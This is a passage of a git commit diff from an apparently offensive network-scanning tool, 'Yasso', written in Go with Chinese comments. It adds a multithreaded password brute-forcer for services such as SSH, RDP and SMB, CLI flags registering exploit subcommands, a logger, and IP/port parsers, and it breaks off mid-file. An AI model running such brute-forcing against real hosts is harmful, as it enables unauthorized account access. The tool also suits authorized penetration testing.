mirror of
https://github.com/sairson/Yasso.git
synced 2026-06-16 07:07:55 +08:00
Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等
This commit is contained in:
120
core/brute/brute.go
Normal file
120
core/brute/brute.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package brute
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"math"
|
||||
"reflect"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Brute struct {
|
||||
user []string // 被枚举的用户名
|
||||
pass []string // 被枚举的密码
|
||||
bruteMethod interface{} // 枚举方法
|
||||
service string // 服务命令
|
||||
serviceConn config.ServiceConn // 服务连接
|
||||
thread int // 执行爆破的线程数
|
||||
output string // 结果输出路径
|
||||
noBrute bool // 是否执行爆破
|
||||
}
|
||||
|
||||
func NewBrute(user, pass []string, method interface{}, service string, serviceConn config.ServiceConn, thread int, noBrute bool, output string) *Brute {
|
||||
return &Brute{
|
||||
user: user,
|
||||
pass: pass,
|
||||
bruteMethod: method,
|
||||
output: output,
|
||||
service: service,
|
||||
thread: thread,
|
||||
serviceConn: serviceConn,
|
||||
noBrute: noBrute,
|
||||
}
|
||||
}
|
||||
|
||||
// RunEnumeration 开始蛮力枚举
|
||||
func (b *Brute) RunEnumeration() {
|
||||
if b.noBrute == false {
|
||||
var wg sync.WaitGroup
|
||||
if len(b.user) == 0 {
|
||||
b.user = config.UserDict[b.service] // 获取对应端口的user列表
|
||||
}
|
||||
if len(b.pass) == 0 {
|
||||
b.pass = config.PassDict
|
||||
}
|
||||
var t int
|
||||
if len(b.pass) <= b.thread {
|
||||
t = len(b.pass)
|
||||
} else {
|
||||
t = b.thread
|
||||
}
|
||||
// 分割密码
|
||||
num := int(math.Ceil(float64(len(b.pass)) / float64(b.thread))) // 每个协程的user数量
|
||||
// 分割用户名
|
||||
all := map[int][]string{}
|
||||
for i := 1; i <= t; i++ {
|
||||
for j := 0; j < num; j++ {
|
||||
tmp := (i-1)*num + j
|
||||
if tmp < len(b.pass) {
|
||||
all[i] = append(all[i], b.pass[tmp])
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := 1; i <= t; i++ {
|
||||
wg.Add(1)
|
||||
tmp := all[i]
|
||||
go func(tmp []string) {
|
||||
defer wg.Done()
|
||||
for _, p := range tmp {
|
||||
for _, u := range b.user {
|
||||
// 开始爆破,带有用户名密码的服务
|
||||
if strings.Contains(p, "{user}") {
|
||||
p = strings.ReplaceAll(p, "{user}", u)
|
||||
}
|
||||
if b.export(b.call(b.serviceConn, u, p), b.serviceConn.Hostname, b.serviceConn.Port, b.service, u, p, b.output) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}(tmp)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
// call 函数调用,爆破将会调用该模块去执行操作操作
|
||||
func (b *Brute) call(params ...interface{}) []reflect.Value {
|
||||
f := reflect.ValueOf(b.bruteMethod)
|
||||
if len(params) != f.Type().NumIn() {
|
||||
logger.Fatal(fmt.Sprintf("call func %v has an error", b.bruteMethod))
|
||||
return nil
|
||||
}
|
||||
args := make([]reflect.Value, len(params))
|
||||
for k, param := range params {
|
||||
if param == "" || param == 0 {
|
||||
continue
|
||||
}
|
||||
args[k] = reflect.ValueOf(param)
|
||||
}
|
||||
return f.Call(args)
|
||||
}
|
||||
|
||||
// 结果验证
|
||||
func (b *Brute) export(v []reflect.Value, host string, port int, service, user, pass string, output string) bool {
|
||||
var mutex sync.Mutex
|
||||
for _, value := range v {
|
||||
switch value.Kind() {
|
||||
case reflect.Bool:
|
||||
if value.Bool() == true {
|
||||
mutex.Lock()
|
||||
logger.Success(fmt.Sprintf("brute %v:%v success [%v:%v][%v]", host, port, user, pass, service))
|
||||
logger.JSONSave(host, logger.WeakPassSave, service, map[string]string{user: pass})
|
||||
mutex.Unlock()
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
114
core/flag/flag.go
Normal file
114
core/flag/flag.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package flag
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit"
|
||||
"github.com/spf13/cobra"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
type allFlags struct {
|
||||
Hosts string // 全局变量 标识ip列表或文件路径
|
||||
Ports string // 全局变量 标识扫描的端口
|
||||
Timeout int // 全局变量 标识超时时间
|
||||
NoCrack bool // 全局变量 标识all模块是否开启爆破
|
||||
NoAlive bool // 全局变量 是否采用ping来判断存活主机
|
||||
User string // 全局变量 标识all模块爆破使用用户名字典
|
||||
Pass string // 全局变量 标识all模块爆破使用密码字典
|
||||
Thread int // 全局变量 标识all模块扫描时的线程数
|
||||
NoService bool // 全局变量 标识all模块是否探测服务
|
||||
NoVulcan bool // 全局变量 标识all模块是否进行主机层漏扫
|
||||
}
|
||||
|
||||
type BurpFlags struct {
|
||||
Hosts string // 全局变量,标识ip列表或文件路径
|
||||
Method string // 爆破的服务名称
|
||||
User string // 爆破时采用的用户字典
|
||||
Pass string // 爆破时采用的密码字典
|
||||
Thread int // 爆破时采用的线程数
|
||||
Timeout int // 爆破的超时时间
|
||||
IsAlive bool // 爆破前是否检测存活
|
||||
}
|
||||
|
||||
var burp BurpFlags
|
||||
var all allFlags
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "Yasso",
|
||||
Short: "\n_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/\n",
|
||||
}
|
||||
|
||||
var allCmd = &cobra.Command{
|
||||
Use: "all",
|
||||
Short: "Use all scanner module (.attention) Traffic is very big",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if all.Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
scanner := plugin.NewAllScanner(all.Hosts, all.Ports, all.NoAlive, all.NoCrack, all.User, all.Pass, all.Thread, time.Duration(all.Timeout)*1000*time.Millisecond, all.NoService, all.NoVulcan)
|
||||
scanner.RunEnumeration()
|
||||
},
|
||||
}
|
||||
|
||||
var serviceCmd = &cobra.Command{
|
||||
Use: "service",
|
||||
Short: "Detection or blasting services by module",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if burp.Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
plugin.BruteService(burp.User, burp.Pass, burp.Hosts, burp.Method, burp.Thread, time.Duration(burp.Timeout)*1000*time.Millisecond, burp.IsAlive)
|
||||
},
|
||||
}
|
||||
|
||||
var ExpCmd = &cobra.Command{
|
||||
Use: "exploit",
|
||||
Short: "Exploits to attack the service",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if cmd.HasSubCommands() {
|
||||
_ = cmd.Help()
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
rootCmd.PersistentFlags().StringVar(&logger.LogFile, "output", "result.txt", "set logger file")
|
||||
allCmd.Flags().StringVar(&logger.LogJson, "json", "", "设置json格式输出文件")
|
||||
allCmd.Flags().StringVarP(&all.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
|
||||
allCmd.Flags().StringVar(&all.Ports, "ports", "", "设置扫描的端口参数(.eg) null将采用默认端口号 top 1000")
|
||||
allCmd.Flags().IntVar(&all.Timeout, "timeout", 1, "设置扫描的超时时间 默认1秒")
|
||||
allCmd.Flags().BoolVar(&all.NoCrack, "no-crack", false, "设置扫描时是否爆破脆弱服务")
|
||||
allCmd.Flags().BoolVar(&all.NoAlive, "no-alive", false, "设置扫描时是否先检测主机存活")
|
||||
allCmd.Flags().StringVar(&all.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
|
||||
allCmd.Flags().StringVar(&all.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
|
||||
allCmd.Flags().IntVar(&all.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
|
||||
allCmd.Flags().BoolVar(&all.NoService, "no-service", false, "设置扫描时是否探测服务")
|
||||
allCmd.Flags().BoolVar(&all.NoVulcan, "no-vuln", false, "设置扫描时是否检测主机层漏洞")
|
||||
rootCmd.AddCommand(allCmd)
|
||||
serviceCmd.Flags().StringVarP(&burp.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
|
||||
serviceCmd.Flags().StringVar(&burp.Method, "module", "", "指定要爆破的服务名称(.eg) \n[mssql,ftp,ssh,mysql,rdp,postgres,redis,winrm,smb,mongo]\n以逗号分割,可同时爆破多个服务(--module ssh:22,mysql:3306,rdp:3389)")
|
||||
serviceCmd.Flags().IntVar(&burp.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
|
||||
serviceCmd.Flags().StringVar(&burp.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
|
||||
serviceCmd.Flags().StringVar(&burp.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
|
||||
serviceCmd.Flags().IntVar(&burp.Timeout, "timeout", 1, "设置爆破的超时时间 默认1秒")
|
||||
serviceCmd.Flags().BoolVar(&burp.IsAlive, "is-alive", true, "爆破前是否进行ping检测存活")
|
||||
rootCmd.AddCommand(serviceCmd)
|
||||
rootCmd.AddCommand(ExpCmd)
|
||||
// 利用模块命令
|
||||
ExpCmd.AddCommand(exploit.MssqlCmd)
|
||||
ExpCmd.AddCommand(exploit.SshCmd)
|
||||
ExpCmd.AddCommand(exploit.WinRmCmd)
|
||||
ExpCmd.AddCommand(exploit.RedisCmd)
|
||||
ExpCmd.AddCommand(exploit.SunLoginCmd)
|
||||
ExpCmd.AddCommand(exploit.LdapReaperCmd)
|
||||
}
|
||||
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
199
core/logger/logger.go
Normal file
199
core/logger/logger.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package logger
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/gookit/color"
|
||||
"os"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
Cyan = color.Cyan.Render
|
||||
Red = color.Red.Render
|
||||
LightGreen = color.Style{color.Green, color.OpBold}.Render
|
||||
LightRed = color.Style{color.Red, color.OpBold}.Render
|
||||
)
|
||||
|
||||
const (
|
||||
PortSave = 1
|
||||
HostSave = 2
|
||||
WeakPassSave = 3
|
||||
InformationSave = 4
|
||||
VulnerabilitySave = 5
|
||||
)
|
||||
|
||||
var LogFile string
|
||||
var LogJson string
|
||||
var mutex sync.Mutex
|
||||
|
||||
func Info(in ...interface{}) {
|
||||
mutex.Lock()
|
||||
var all []interface{}
|
||||
for k, v := range in {
|
||||
if k == len(in)-1 {
|
||||
all = append(all, fmt.Sprintf("%v", v))
|
||||
} else {
|
||||
all = append(all, fmt.Sprintf("%v ", v))
|
||||
}
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[%s] ", Cyan("*")) + fmt.Sprint(all...))
|
||||
|
||||
file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
|
||||
if err != nil {
|
||||
Fatal("open file has an error", err.Error())
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
_, _ = file.WriteString(fmt.Sprintf("[*] " + fmt.Sprint(all...) + "\n"))
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
func Success(in ...interface{}) {
|
||||
mutex.Lock()
|
||||
var all []interface{}
|
||||
for k, v := range in {
|
||||
if k == len(in)-1 {
|
||||
all = append(all, fmt.Sprintf("%v", v))
|
||||
} else {
|
||||
all = append(all, fmt.Sprintf("%v ", v))
|
||||
}
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[%s] ", LightGreen("+")) + fmt.Sprint(all...))
|
||||
|
||||
file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
|
||||
if err != nil {
|
||||
Fatal("open file has an error", err.Error())
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
_, err = file.WriteString(fmt.Sprintf("[+] " + fmt.Sprint(all...) + "\n"))
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
func Fatal(in ...interface{}) {
|
||||
var all []interface{}
|
||||
for k, v := range in {
|
||||
if k == len(in)-1 {
|
||||
all = append(all, fmt.Sprintf("%v", v))
|
||||
} else {
|
||||
all = append(all, fmt.Sprintf("%v ", v))
|
||||
}
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[%s] ", Red("#")) + fmt.Sprint(all...))
|
||||
}
|
||||
|
||||
// JSONSave 保存json格式数据
|
||||
func JSONSave(host string, t int, in ...interface{}) {
|
||||
if LogJson != "" {
|
||||
switch t {
|
||||
case VulnerabilitySave:
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务存在
|
||||
if v.Host == host {
|
||||
v.Vulnerability = append(v.Vulnerability, in[0].(string))
|
||||
}
|
||||
}
|
||||
case PortSave:
|
||||
// 端口存储
|
||||
var flag = false
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务存在
|
||||
if v.Host == host {
|
||||
v.Port = in[0].([]int) // 将端口存储
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
if flag == false {
|
||||
config.JSONSave = append(config.JSONSave, &config.Format{
|
||||
Host: host,
|
||||
})
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务存在
|
||||
if v.Host == host {
|
||||
v.Port = in[0].([]int) // 将端口存储
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
case HostSave:
|
||||
// 主机存储
|
||||
config.JSONSave = append(config.JSONSave, &config.Format{
|
||||
Host: host,
|
||||
})
|
||||
case WeakPassSave:
|
||||
// 这里存储json的服务弱口令
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务名称已经有了,那么将口令加到它的WeakPass种
|
||||
// 如果主机之前也是存活的
|
||||
if v.Host == host {
|
||||
// 遍历主机的服务列表
|
||||
var flag = false
|
||||
for _, value := range v.Service {
|
||||
if value.Name == in[0].(string) { // 服务名
|
||||
value.WeakPass = append(value.WeakPass, in[1].(map[string]string))
|
||||
flag = true // 证明服务存在
|
||||
}
|
||||
}
|
||||
// 证明host存在
|
||||
if flag == false {
|
||||
v.Service = append(v.Service, &config.Service{
|
||||
Name: in[0].(string), //服务名
|
||||
WeakPass: []map[string]string{in[1].(map[string]string)},
|
||||
})
|
||||
}
|
||||
// 证明host存在
|
||||
if flag == false {
|
||||
v.Service = append(v.Service, &config.Service{
|
||||
Name: in[0].(string), //服务名
|
||||
WeakPass: []map[string]string{in[1].(map[string]string)},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
case 4:
|
||||
// 这里information字段
|
||||
for _, v := range config.JSONSave {
|
||||
// 服务名称已经有了,那么将口令加到它的WeakPass种
|
||||
// 如果主机之前也是存活的
|
||||
if v.Host == host {
|
||||
// 遍历主机的服务列表
|
||||
var flag = false
|
||||
for _, value := range v.Service {
|
||||
if value.Name == in[0].(string) { // 服务名
|
||||
value.Information = append(value.Information, in[1].(string))
|
||||
flag = true // 证明服务存在
|
||||
}
|
||||
}
|
||||
// 证明host存在
|
||||
if flag == false {
|
||||
v.Service = append(v.Service, &config.Service{
|
||||
Name: in[0].(string), //服务名
|
||||
Information: []string{in[1].(string)},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 将以json格式保存,文件将会保存全局变量存储的结果集
|
||||
}
|
||||
}
|
||||
|
||||
func LoggerSave() {
|
||||
if LogJson != "" {
|
||||
body, err := json.Marshal(config.JSONSave)
|
||||
if err != nil {
|
||||
Fatal("save json marshal failed", err.Error())
|
||||
return
|
||||
}
|
||||
filePtr, err := os.Create(LogJson)
|
||||
if err != nil {
|
||||
fmt.Println("文件创建失败", err.Error())
|
||||
return
|
||||
}
|
||||
defer filePtr.Close()
|
||||
// 创建Json编码器
|
||||
_, _ = filePtr.Write(body)
|
||||
}
|
||||
}
|
||||
301
core/parse/parse_ip.go
Normal file
301
core/parse/parse_ip.go
Normal file
@@ -0,0 +1,301 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/projectdiscovery/cdncheck"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// ReadFile 从文件中读取数据
|
||||
func ReadFile(filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
logger.Fatal("open file has an error", err.Error())
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
var re []string
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
re = append(re, text)
|
||||
}
|
||||
}
|
||||
re = Duplicate(re) // 去重
|
||||
return re, nil
|
||||
}
|
||||
|
||||
// ConvertDomainToIpAddress 将域名转换成ip地址
|
||||
func ConvertDomainToIpAddress(domains []string, thread int) ([]string, error) {
|
||||
checkChan := make(chan string, 100)
|
||||
var wg sync.WaitGroup
|
||||
var re []string
|
||||
for i := 0; i < thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for host := range checkChan {
|
||||
if strings.Count(host, ".") == 3 && len(strings.Split(host, ":")) == 2 {
|
||||
// 这种是带有端口的ip地址
|
||||
re = append(re, host)
|
||||
continue
|
||||
}
|
||||
ip, err := net.LookupHost(host)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ip != nil {
|
||||
// 证明存在cdn,直接丢掉即可(不跑带有cdn的域名)
|
||||
if len(ip) >= 2 {
|
||||
logger.Info(fmt.Sprintf("%s has cdn %v", host, ip[:]))
|
||||
continue
|
||||
} else {
|
||||
for _, i := range ip {
|
||||
re = append(re, i)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, domain := range domains {
|
||||
if strings.Contains(domain, "http://") {
|
||||
domain = strings.TrimPrefix(domain, "http://")
|
||||
}
|
||||
if strings.Contains(domain, "https://") {
|
||||
domain = strings.TrimPrefix(domain, "https://")
|
||||
}
|
||||
checkChan <- domain
|
||||
}
|
||||
close(checkChan)
|
||||
wg.Wait()
|
||||
re = Duplicate(re) // 去重
|
||||
return re, nil
|
||||
}
|
||||
|
||||
// cdnFilter cdn过滤器
|
||||
func cdnFilter(ip string, client *cdncheck.Client) string {
|
||||
if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
|
||||
return ip
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Duplicate 去重
|
||||
func Duplicate(slc []string) []string {
|
||||
var re []string
|
||||
temp := map[string]byte{}
|
||||
for _, v := range slc {
|
||||
l := len(temp)
|
||||
temp[v] = 0
|
||||
if len(temp) != l {
|
||||
re = append(re, v)
|
||||
}
|
||||
}
|
||||
return re
|
||||
}
|
||||
|
||||
// RegIpv4Address 匹配ipv4
|
||||
func RegIpv4Address(context string) string {
|
||||
matched, err := regexp.MatchString("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}", context)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if matched {
|
||||
return context
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func HandleIps(ip string) ([]string, error) {
|
||||
var Unprocessed []string
|
||||
var err error
|
||||
var basic []string
|
||||
|
||||
if strings.Contains(ip, ".txt") {
|
||||
if strings.ToLower(path.Ext(filepath.Base(ip))) == ".txt" {
|
||||
// 文件后缀为.txt的话,我们按照文件解析并获取数据结果
|
||||
Unprocessed, err = ReadFile(ip)
|
||||
if err != nil {
|
||||
return []string{}, err
|
||||
}
|
||||
}
|
||||
/*
|
||||
这里获取到的数据格式可能为
|
||||
192.168.248.1/24
|
||||
192.168.248.1-155
|
||||
www.baidu.com
|
||||
192.168.248.1:3389
|
||||
https://www.baidu.com
|
||||
*/
|
||||
|
||||
// 第一波解析开始,解析ip地址格式
|
||||
for _, i := range Unprocessed {
|
||||
switch {
|
||||
case RegIpv4Address(i) != "" && (strings.Count(i, "/24") == 1 || strings.Count(i, "/16") == 1):
|
||||
temp, err := ConvertIpFormatA(i)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ip address has an error", err.Error())
|
||||
return []string{}, err
|
||||
}
|
||||
basic = append(basic, temp...)
|
||||
case RegIpv4Address(i) != "" && strings.Count(i, "-") == 1 && !strings.Contains(i, "/"):
|
||||
fmt.Println(i)
|
||||
temp, err := ConvertIpFormatB(i)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ip address has an error", err.Error())
|
||||
return []string{}, err
|
||||
}
|
||||
basic = append(basic, temp...)
|
||||
case strings.Contains(i, "https://") || strings.Contains(i, "http://"):
|
||||
if strings.Contains(i, "https://") {
|
||||
basic = append(basic, strings.ReplaceAll(i, "https://", ""))
|
||||
}
|
||||
if strings.Contains(i, "http://") {
|
||||
basic = append(basic, strings.ReplaceAll(i, "https", ""))
|
||||
}
|
||||
default:
|
||||
basic = append(basic, i)
|
||||
}
|
||||
}
|
||||
// 第一波解析完成,开始第二波解析,解析域名
|
||||
basic = Duplicate(basic) // 第一次去重
|
||||
basic, err = ConvertDomainToIpAddress(basic, 100)
|
||||
if err != nil {
|
||||
logger.Fatal("parse domain has an error", err.Error())
|
||||
return nil, err
|
||||
}
|
||||
basic = Duplicate(basic) // 第二次去重
|
||||
} else {
|
||||
basic, err = ConvertIpFormatAll(ip)
|
||||
if err != nil {
|
||||
logger.Fatal("parse ip address has an error", err.Error())
|
||||
return []string{}, err
|
||||
}
|
||||
}
|
||||
// 二次筛选
|
||||
var newBasic []string
|
||||
for _, ip := range basic {
|
||||
if strings.Contains(ip, "/") {
|
||||
newBasic = append(newBasic, strings.Split(ip, "/")[0])
|
||||
} else {
|
||||
newBasic = append(newBasic, ip)
|
||||
}
|
||||
}
|
||||
// 对获取到的ip地址进行排序进行后续操作
|
||||
sort.Strings(newBasic)
|
||||
return newBasic, err
|
||||
}
|
||||
|
||||
// ConvertIpFormatA 不解析192.168.248.1/8格式目前
|
||||
func ConvertIpFormatA(ip string) ([]string, error) {
|
||||
var ip4 = net.ParseIP(strings.Split(ip, "/")[0])
|
||||
if ip4 == nil {
|
||||
return []string{}, errors.New("not an ipv4 address")
|
||||
}
|
||||
var mark = strings.Split(ip, "/")[1]
|
||||
var temp []string
|
||||
var err error
|
||||
switch mark {
|
||||
case "24":
|
||||
var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
|
||||
for i := 0; i <= 255; i++ {
|
||||
temp = append(temp, ip3+"."+strconv.Itoa(i))
|
||||
}
|
||||
err = nil
|
||||
case "16":
|
||||
var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
|
||||
for i := 0; i <= 255; i++ {
|
||||
for j := 0; j <= 255; j++ {
|
||||
temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
|
||||
}
|
||||
}
|
||||
err = nil
|
||||
default:
|
||||
temp = []string{}
|
||||
err = errors.New("not currently supported")
|
||||
}
|
||||
return temp, err
|
||||
}
|
||||
|
||||
func ConvertIpFormatB(ip string) ([]string, error) {
|
||||
var ip4 = strings.Split(ip, "-")
|
||||
var ipA = net.ParseIP(ip4[0])
|
||||
if ip4 == nil {
|
||||
return []string{}, errors.New("not an ipv4 address")
|
||||
}
|
||||
var temp []string
|
||||
if len(ip4[1]) < 4 {
|
||||
iprange, err := strconv.Atoi(ip4[1])
|
||||
if ipA == nil || iprange > 255 || err != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
var splitip = strings.Split(ip4[0], ".")
|
||||
ip1, err1 := strconv.Atoi(splitip[3])
|
||||
ip2, err2 := strconv.Atoi(ip4[1])
|
||||
prefixip := strings.Join(splitip[0:3], ".")
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
for i := ip1; i <= ip2; i++ {
|
||||
temp = append(temp, prefixip+"."+strconv.Itoa(i))
|
||||
}
|
||||
} else {
|
||||
var splitip1 = strings.Split(ip4[0], ".")
|
||||
var splitip2 = strings.Split(ip4[1], ".")
|
||||
if len(splitip1) != 4 || len(splitip2) != 4 {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(splitip1[i])
|
||||
ip2, err2 := strconv.Atoi(splitip2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
||||
temp = append(temp, ip)
|
||||
}
|
||||
}
|
||||
return temp, nil
|
||||
}
|
||||
|
||||
func ConvertIpFormatAll(ip string) ([]string, error) {
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
case strings.Count(ip, "/") == 1:
|
||||
return ConvertIpFormatA(ip)
|
||||
case strings.Count(ip, "-") == 1:
|
||||
return ConvertIpFormatB(ip)
|
||||
case reg.MatchString(ip):
|
||||
_, err := net.LookupHost(ip)
|
||||
if err != nil {
|
||||
return []string{}, err
|
||||
}
|
||||
return []string{ip}, nil
|
||||
default:
|
||||
var isip = net.ParseIP(ip)
|
||||
if isip == nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
return []string{ip}, nil
|
||||
}
|
||||
}
|
||||
50
core/parse/parse_port.go
Normal file
50
core/parse/parse_port.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// HandlePorts 解析端口格式
|
||||
func HandlePorts(ports string) ([]int, error) {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
scanPorts = RemoveDuplicate(scanPorts)
|
||||
return scanPorts, nil
|
||||
}
|
||||
|
||||
func RemoveDuplicate(old []int) []int {
|
||||
result := make([]int, 0, len(old))
|
||||
temp := map[int]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
447
core/plugin/all.go
Normal file
447
core/plugin/all.go
Normal file
@@ -0,0 +1,447 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/config/banner"
|
||||
"Yasso/core/brute"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/parse"
|
||||
"Yasso/pkg/webscan"
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type scannerAll struct {
|
||||
ip string // 需要解析的ip列表或者文件
|
||||
port string // 需要解析的端口列表
|
||||
noAlive bool // 是否探测存活
|
||||
noBrute bool // 是否进行爆破
|
||||
userPath string // 爆破所需的user字典路径
|
||||
passPath string // 爆破所需的pass字典路径
|
||||
thread int // 扫描所需线程数
|
||||
timeout time.Duration // 爆破的超时数
|
||||
noService bool // 是否进行服务的探测(包括web)
|
||||
noVulcan bool // 是否进行主机层漏洞扫描
|
||||
}
|
||||
|
||||
func NewAllScanner(ip, port string, isAlive, isBrute bool, user, pass string, thread int, timeout time.Duration, noService bool, noVulcan bool) *scannerAll {
|
||||
return &scannerAll{
|
||||
ip: ip,
|
||||
